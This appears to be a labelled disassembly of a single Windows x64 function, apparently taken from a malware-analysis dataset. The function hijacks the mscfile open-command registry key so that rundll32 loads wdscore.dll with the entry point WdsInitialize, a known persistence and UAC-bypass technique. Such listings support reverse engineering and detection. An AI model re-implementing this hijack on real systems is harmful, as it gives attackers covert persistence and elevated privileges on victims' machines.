Function at 0x1400164f1
Capabilities:
Persist via default file association registry key
Set registry value

Disassembly:
jmp 0x140023ef0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x768
lea rbp, [rsp + 0x50]
mov rdi, rsp
mov ecx, 0x1da
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x788]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x708], rax
lea rcx, [0x14006d14e]
call fcn.140016276
mov dword [rbp + 4], 0xc0000022
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x68], 0
cmp qword [rbp + 0x738], 0
jne 0x140023f6e
xor eax, eax
jmp 0x1400241a5
mov qword [rbp + 0x88], 0
cmp qword [rbp + 0x730], 0
jne 0x140023f90
mov qword [rbp + 0x88], 0x1000
jmp 0x140023fa8
mov rcx, qword [rbp + 0x730]
call fcn.14001680c
lea rax, [rax + rax + 2]
mov qword [rbp + 0x88], rax
mov rcx, qword [rbp + 0x88]
call fcn.14001687f
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x140023fc4
jmp 0x140024181
cmp qword [rbp + 0x730], 0
je 0x140023fe3
mov rdx, qword [rbp + 0x730]
mov rcx, qword [rbp + 0x68]
call fcn.14001616d
jmp 0x140024093
cmp qword [rbp + 0x740], 0
je 0x140023ff6
cmp dword [rbp + 0x748], 0
jne 0x140024000
mov eax, 0xc000003e
jmp 0x1400241a5
mov edx, 0x410
lea rcx, [rbp + 0xb0]
call fcn.140016c2b
mov rax, qword [0x140065a08]
add rax, 0x480
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14001616d
lea rdx, str.wdscore.dll
lea rcx, [rbp + 0xb0]
call fcn.1400165e1
mov r8d, dword [rbp + 0x748]
mov rdx, qword [rbp + 0x740]
lea rcx, [rbp + 0xb0]
call fcn.140016ad7
test eax, eax
jne 0x140024063
jmp 0x140024181
lea rdx, str.rundll32.exe
mov rcx, qword [rbp + 0x68]
call fcn.14001616d
lea rdx, [rbp + 0xb0]
mov rcx, qword [rbp + 0x68]
call fcn.1400165e1
lea rdx, str._WdsInitialize
mov rcx, qword [rbp + 0x68]
call fcn.1400165e1
lea rdx, str.SoftwareClassesmscfile
lea rcx, [rbp + 0xb0]
call fcn.14001616d
lea rdx, str._shellopencommand
lea rcx, [rbp + 0xb0]
call fcn.1400165e1
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x28]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xb0]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
cdqe
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
je 0x14002410d
jmp 0x140024181
mov rcx, qword [rbp + 0x68]
call fcn.14001680c
lea rax, [rax + rax + 2]
mov qword [rbp + 0x88], rax
mov eax, dword [rbp + 0x88]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [0x140047438]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cdqe
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
je 0x14002415e
jmp 0x140024181
xor edx, edx
mov rcx, qword [rbp + 0x738]
call fcn.140016a7d
test eax, eax
je 0x140024177
mov dword [rbp + 4], 0
xor eax, eax
test eax, eax
jne 0x140023f6e
cmp qword [rbp + 0x68], 0
je 0x140024191
mov rcx, qword [rbp + 0x68]
call fcn.140016032
cmp qword [rbp + 0x28], 0
je 0x1400241a2
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [rbp + 4]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.140016b90
mov rax, rdi
mov rcx, qword [rbp + 0x708]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x718]
pop rdi
pop rbp
ret